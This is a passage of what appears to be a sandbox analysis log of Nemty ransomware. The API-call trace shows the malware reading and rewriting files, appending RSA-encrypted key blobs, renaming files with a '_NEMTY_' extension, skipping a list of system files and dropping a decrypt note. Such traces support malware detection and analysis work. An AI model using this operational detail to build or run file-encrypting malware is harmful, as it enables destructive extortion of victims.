users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.fr\\proof.msi"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3cc [0047.720] GetFileSizeEx (in: hFile=0x3cc, lpFileSize=0x653eeb0 | out: lpFileSize=0x653eeb0*=885760) returned 1 [0047.720] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x19000) returned 0x6346d48 [0047.720] SetFilePointer (in: hFile=0x3cc, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0047.720] ReadFile (in: hFile=0x3cc, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x6346d48*, lpNumberOfBytesRead=0x653eea4*=0x19000, lpOverlapped=0x0) returned 1 [0047.729] SetFilePointer (in: hFile=0x3cc, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0047.729] WriteFile (in: hFile=0x3cc, lpBuffer=0x6346d48*, nNumberOfBytesToWrite=0x19000, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpBuffer=0x6346d48*, lpNumberOfBytesWritten=0x653ee9c*=0x19000, lpOverlapped=0x0) returned 1 [0047.730] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d48 | out: hHeap=0x4f90000) returned 1 [0047.730] SetFilePointer (in: hFile=0x3cc, lDistanceToMove=885760, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xd8400 [0047.730] WriteFile (in: hFile=0x3cc, lpBuffer=0x6340308*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpBuffer=0x6340308*, lpNumberOfBytesWritten=0x653ee9c*=0x167, lpOverlapped=0x0) returned 1 [0047.731] CloseHandle (hObject=0x3cc) returned 1 [0047.740] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6340478 [0047.741] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0047.741] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed80 [0047.741] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed80, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0047.741] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0047.741] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed80 | out: hHeap=0x4f90000) returned 1 [0047.741] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x63442d8 [0047.741] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x106) returned 0x6344390 [0047.741] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63442d8 | out: hHeap=0x4f90000) returned 1 [0047.741] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0047.741] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.msi" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.fr\\proof.msi"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.msi._NEMTY_kGOBjgD_" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.fr\\proof.msi._nemty_kgobjgd_")) returned 1 [0047.743] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6344390 | out: hHeap=0x4f90000) returned 1 [0047.743] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340478 | out: hHeap=0x4f90000) returned 1 [0047.743] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0047.743] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340308 | out: hHeap=0x4f90000) returned 1 [0047.743] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6344160 | out: hHeap=0x4f90000) returned 1 [0047.743] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6343fe8 | out: hHeap=0x4f90000) returned 1 [0047.743] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0047.743] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0047.743] FindNextFileW (in: hFindFile=0x3423a30, lpFindFileData=0x653f008 | out: lpFindFileData=0x653f008*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43f88c00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x43f88c00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xf2bd90c0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x5b2, dwReserved0=0x15, dwReserved1=0x4f90000, cFileName="Proof.xml", cAlternateFileName="")) returned 1 [0047.743] lstrcmpiW (lpString1="Proof.xml", lpString2=".") returned 1 [0047.743] lstrcmpiW (lpString1="Proof.xml", lpString2="..") returned 1 [0047.743] lstrcmpiW (lpString1="Proof.xml", lpString2="...") returned 1 [0047.743] lstrcmpiW (lpString1="Proof.xml", lpString2="windows") returned -1 [0047.743] lstrcmpiW (lpString1="Proof.xml", lpString2="$RECYCLE.BIN") returned 1 [0047.743] lstrcmpiW (lpString1="Proof.xml", lpString2="rsa") returned -1 [0047.743] lstrcmpiW (lpString1="Proof.xml", lpString2="NTDETECT.COM") returned 1 [0047.743] lstrcmpiW (lpString1="Proof.xml", lpString2="ntldr") returned 1 [0047.743] lstrcmpiW (lpString1="Proof.xml", lpString2="MSDOS.SYS") returned 1 [0047.743] lstrcmpiW (lpString1="Proof.xml", lpString2="IO.SYS") returned 1 [0047.743] lstrcmpiW (lpString1="Proof.xml", lpString2="boot.ini") returned 1 [0047.743] lstrcmpiW (lpString1="Proof.xml", lpString2="boot.ini") returned 1 [0047.743] lstrcmpiW (lpString1="Proof.xml", lpString2="AUTOEXEC.BAT") returned 1 [0047.743] lstrcmpiW (lpString1="Proof.xml", lpString2="ntuser.dat") returned 1 [0047.743] lstrcmpiW (lpString1="Proof.xml", lpString2="desktop.ini") returned 1 [0047.743] lstrcmpiW (lpString1="Proof.xml", lpString2="CONFIG.SYS") returned 1 [0047.743] lstrcmpiW (lpString1="Proof.xml", lpString2="RECYCLER") returned -1 [0047.743] lstrcmpiW (lpString1="Proof.xml", lpString2="BOOTSECT.BAK") returned 1 [0047.743] lstrcmpiW (lpString1="Proof.xml", lpString2="bootmgr") returned 1 [0047.744] lstrcmpiW (lpString1="Proof.xml", lpString2="programdata") returned 1 [0047.744] lstrcmpiW (lpString1="Proof.xml", lpString2="appdata") returned 1 [0047.744] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0047.744] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Proof.xml", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0047.744] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Proof.xml", cchWideChar=9, lpMultiByteStr=0x653ef10, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Proof.xml", lpUsedDefaultChar=0x0) returned 9 [0047.744] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0047.744] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Proof.xml", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0047.744] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Proof.xml", cchWideChar=9, lpMultiByteStr=0x653ef10, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Proof.xml", lpUsedDefaultChar=0x0) returned 9 [0047.744] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0047.744] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0047.744] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0047.744] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Proof.xml", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0047.744] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Proof.xml", cchWideChar=9, lpMultiByteStr=0x653ef60, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Proof.xml", lpUsedDefaultChar=0x0) returned 9 [0047.744] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0047.744] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0047.744] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Proof.xml", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0047.744] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Proof.xml", cchWideChar=9, lpMultiByteStr=0x653ef98, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Proof.xml", lpUsedDefaultChar=0x0) returned 9 [0047.744] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0047.744] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x63400f0 [0047.744] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340250 | out: hHeap=0x4f90000) returned 1 [0047.744] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x63401a8 [0047.744] Sleep (dwMilliseconds=0x5) [0047.749] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653ee24 | out: lpSystemTimeAsFileTime=0x653ee24*(dwLowDateTime=0xd029ddd0, dwHighDateTime=0x1d561e7)) [0047.749] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653ee24 | out: lpSystemTimeAsFileTime=0x653ee24*(dwLowDateTime=0xd029ddd0, dwHighDateTime=0x1d561e7)) [0047.749] GetLastError () returned 0x0 [0047.749] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0047.749] GetLastError () returned 0x0 [0047.749] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0047.750] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0047.750] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0047.750] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653ec60*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653ec60*=0x100) returned 1 [0047.750] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653ec64*, pdwDataLen=0x653ec50*=0x10, dwBufLen=0x100 | out: pbData=0x653ec64*, pdwDataLen=0x653ec50*=0x100) returned 1 [0047.750] CryptBinaryToStringA (in: pbBinary=0x653ec64, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653ec5c | out: pszString=0x0, pcchString=0x653ec5c) returned 1 [0047.750] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340260 [0047.750] CryptBinaryToStringA (in: pbBinary=0x653ec64, cbBinary=0x100, dwFlags=0x1, pszString=0x6340260, pcchString=0x653ec5c | out: pszString="xompAHYNkZ/fejoaVssCkf/O3SzQw/bDfELVL1MeLWHGhqoBetysFhtXIm/anU4q\r\nAa9/T8gCI3cNt1s/O/NS6k0usyGLtyVBUYxDcNTJAgE15IRCM2QoM73LV9pmX0A7\r\nt6mQYaATrhOXCbMriy/dkdqFornYyVWBYRtuqnv750t633Zo2DnKHhTAQCJlkipr\r\n3U1+BnVj+RV50yzesLPeAOZY8tOAYNNrTl70thMf/4LJrLOexVXtH48E55GJcyGI\r\nWYI49AWPw0OKz7hs8lubEWZ53yC/+8Z+YdRVmXTxImWLwzGCPzLeRQnUEMVSqpPM\r\nCT2IAopJ3/JEdnbuAqjkdA==\r\n", pcchString=0x653ec5c) returned 1 [0047.750] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x63403d0 [0047.750] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340260 | out: hHeap=0x4f90000) returned 1 [0047.750] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0047.750] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0047.750] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340260 [0047.750] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6343fe8 [0047.750] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.xml" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.fr\\proof.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3cc [0047.750] GetFileSizeEx (in: hFile=0x3cc, lpFileSize=0x653eeb0 | out: lpFileSize=0x653eeb0*=1458) returned 1 [0047.750] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x5b0) returned 0x4f9f4a0 [0047.750] SetFilePointer (in: hFile=0x3cc, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0047.750] ReadFile (in: hFile=0x3cc, lpBuffer=0x4f9f4a0, nNumberOfBytesToRead=0x5b0, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x4f9f4a0*, lpNumberOfBytesRead=0x653eea4*=0x5b0, lpOverlapped=0x0) returned 1 [0047.752] SetFilePointer (in: hFile=0x3cc, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0047.752] WriteFile (in: hFile=0x3cc, lpBuffer=0x4f9f4a0*, nNumberOfBytesToWrite=0x5b0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpBuffer=0x4f9f4a0*, lpNumberOfBytesWritten=0x653ee9c*=0x5b0, lpOverlapped=0x0) returned 1 [0047.753] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9f4a0 | out: hHeap=0x4f90000) returned 1 [0047.753] SetFilePointer (in: hFile=0x3cc, lDistanceToMove=1458, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5b2 [0047.753] WriteFile (in: hFile=0x3cc, lpBuffer=0x6340260*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpBuffer=0x6340260*, lpNumberOfBytesWritten=0x653ee9c*=0x167, lpOverlapped=0x0) returned 1 [0047.753] CloseHandle (hObject=0x3cc) returned 1 [0047.753] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6344160 [0047.753] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0047.753] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0047.753] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ece0, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0047.754] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed80 [0047.754] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0047.754] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6344218 [0047.754] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x106) returned 0x63442d0 [0047.754] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6344218 | out: hHeap=0x4f90000) returned 1 [0047.754] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed80 | out: hHeap=0x4f90000) returned 1 [0047.754] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.xml" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.fr\\proof.xml"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.xml._NEMTY_kGOBjgD_" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.fr\\proof.xml._nemty_kgobjgd_")) returned 1 [0047.754] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63442d0 | out: hHeap=0x4f90000) returned 1 [0047.754] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6344160 | out: hHeap=0x4f90000) returned 1 [0047.754] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0047.754] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340260 | out: hHeap=0x4f90000) returned 1 [0047.754] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6343fe8 | out: hHeap=0x4f90000) returned 1 [0047.755] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403d0 | out: hHeap=0x4f90000) returned 1 [0047.755] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0047.755] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63401a8 | out: hHeap=0x4f90000) returned 1 [0047.755] FindNextFileW (in: hFindFile=0x3423a30, lpFindFileData=0x653f008 | out: lpFindFileData=0x653f008*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xd022b9b0, ftCreationTime.dwHighDateTime=0x1d561e7, ftLastAccessTime.dwLowDateTime=0xd022b9b0, ftLastAccessTime.dwHighDateTime=0x1d561e7, ftLastWriteTime.dwLowDateTime=0xd022b9b0, ftLastWriteTime.dwHighDateTime=0x1d561e7, nFileSizeHigh=0x0, nFileSizeLow=0xef8, dwReserved0=0x15, dwReserved1=0x4f90000, cFileName="_NEMTY_kGOBjgD_-DECRYPT.txt", cAlternateFileName="_NEMTY~1.TXT")) returned 1 [0047.755] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2=".") returned 1 [0047.755] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="..") returned 1 [0047.755] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="...") returned 1 [0047.755] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="windows") returned -1 [0047.755] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="$RECYCLE.BIN") returned 1 [0047.755] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="rsa") returned -1 [0047.755] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="NTDETECT.COM") returned -1 [0047.755] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="ntldr") returned -1 [0047.755] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="MSDOS.SYS") returned -1 [0047.755] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="IO.SYS") returned -1 [0047.755] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="boot.ini") returned -1 [0047.755] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="boot.ini") returned -1 [0047.755] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="AUTOEXEC.BAT") returned -1 [0047.755] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="ntuser.dat") returned -1 [0047.755] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="desktop.ini") returned -1 [0047.755] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="CONFIG.SYS") returned -1 [0047.755] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="RECYCLER") returned -1 [0047.755] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="BOOTSECT.BAK") returned -1 [0047.755] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="bootmgr") returned -1 [0047.755] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="programdata") returned -1 [0047.755] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="appdata") returned -1 [0047.755] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0047.755] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0047.755] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0047.755] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ed58, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0047.755] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0047.755] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345d60 [0047.755] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0047.755] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0047.756] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ed58, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0047.756] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0047.756] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345d60 | out: hHeap=0x4f90000) returned 1 [0047.756] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0047.756] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0047.756] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0047.756] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0047.756] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ed58, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0047.756] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0047.756] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0047.756] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0047.756] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed80 [0047.756] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ed80, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0047.756] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0047.756] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd0) returned 0x63401a8 [0047.756] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0047.756] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed80 | out: hHeap=0x4f90000) returned 1 [0047.756] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0047.756] FindNextFileW (in: hFindFile=0x3423a30, lpFindFileData=0x653f008 | out: lpFindFileData=0x653f008*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xd022b9b0, ftCreationTime.dwHighDateTime=0x1d561e7, ftLastAccessTime.dwLowDateTime=0xd022b9b0, ftLastAccessTime.dwHighDateTime=0x1d561e7, ftLastWriteTime.dwLowDateTime=0xd022b9b0, ftLastWriteTime.dwHighDateTime=0x1d561e7, nFileSizeHigh=0x0, nFileSizeLow=0xef8, dwReserved0=0x15, dwReserved1=0x4f90000, 